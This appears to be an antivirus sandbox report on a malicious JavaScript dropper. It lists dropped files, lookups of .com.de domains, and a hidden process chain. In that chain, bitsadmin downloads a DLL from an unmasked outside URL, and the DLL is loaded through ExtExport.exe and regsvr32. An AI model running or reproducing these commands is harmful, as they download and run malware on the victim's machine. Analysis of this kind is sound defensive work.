Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\Lcbh6lt.js
Modifies file system
Creates the following files
- C:\users\public\documents\lcbh6lt.js
- nul
- C:\users\public\h
- %APPDATA%\vta7265245\bitd474.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\vta7265245\bitd474.tmp
Moves the following files
- from %APPDATA%\vta7265245\bitd474.tmp to %APPDATA%\vta7265245\sqlite3.dll
Network activity
TCP
HTTP GET requests
- http://jb####.##cnofinancesa.com.de/?01#
- http://ea##.#####mativofinanceirosa.com.de/?45###############
- http://ea##.#####mativofinanceirosa.com.de/?34###############
- http://ea##.#####mativofinanceirosa.com.de/?16###############
UDP
- DNS ASK jb####.##cnofinancesa.com.de
- DNS ASK xw###.####emfinancedigital.com.de
- DNS ASK ea##.#####mativofinanceirosa.com.de
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\Lcbh6lt.js"
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\Lcbh6lt.js"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\VTA7265245\>C:\Users\Public\h"&& exit' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 35113 /priority foreground https://xwa6c.sistemfinancedigital.com.de/?376727442012553110135327431416647 %APPDATA%\VTA7265245\sqlite3.dll' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo 0>%APPDATA%\VTA7265245\\r1.log"&& exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\VTA7265245\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\VTA7265245\sqlite3.dll"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" sEt/p us6le4W="%JBT:IXEJCH=%%luk0WIr:1KVFZ=/%" 0<nul 1>C:\Users\Public\Documents\Lcbh6lt.js"
- '<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
- '<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo FRMXRF6K9HWFIZED46Q3HSQBVJD7 1>nul"
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\VTA7265245\>C:\Users\Public\h"&& exit
- '<SYSTEM32>\bitsadmin.exe' /transfer 35113 /priority foreground https://xwa6c.sistemfinancedigital.com.de/?376727442012553110135327431416647 %APPDATA%\VTA7265245\sqlite3.dll
- '<SYSTEM32>\cmd.exe' /V /C "echo 0>%APPDATA%\VTA7265245\\r1.log"&& exit
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\VTA7265245\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\VTA7265245\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\VTA7265245\sqlite3.dll"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000
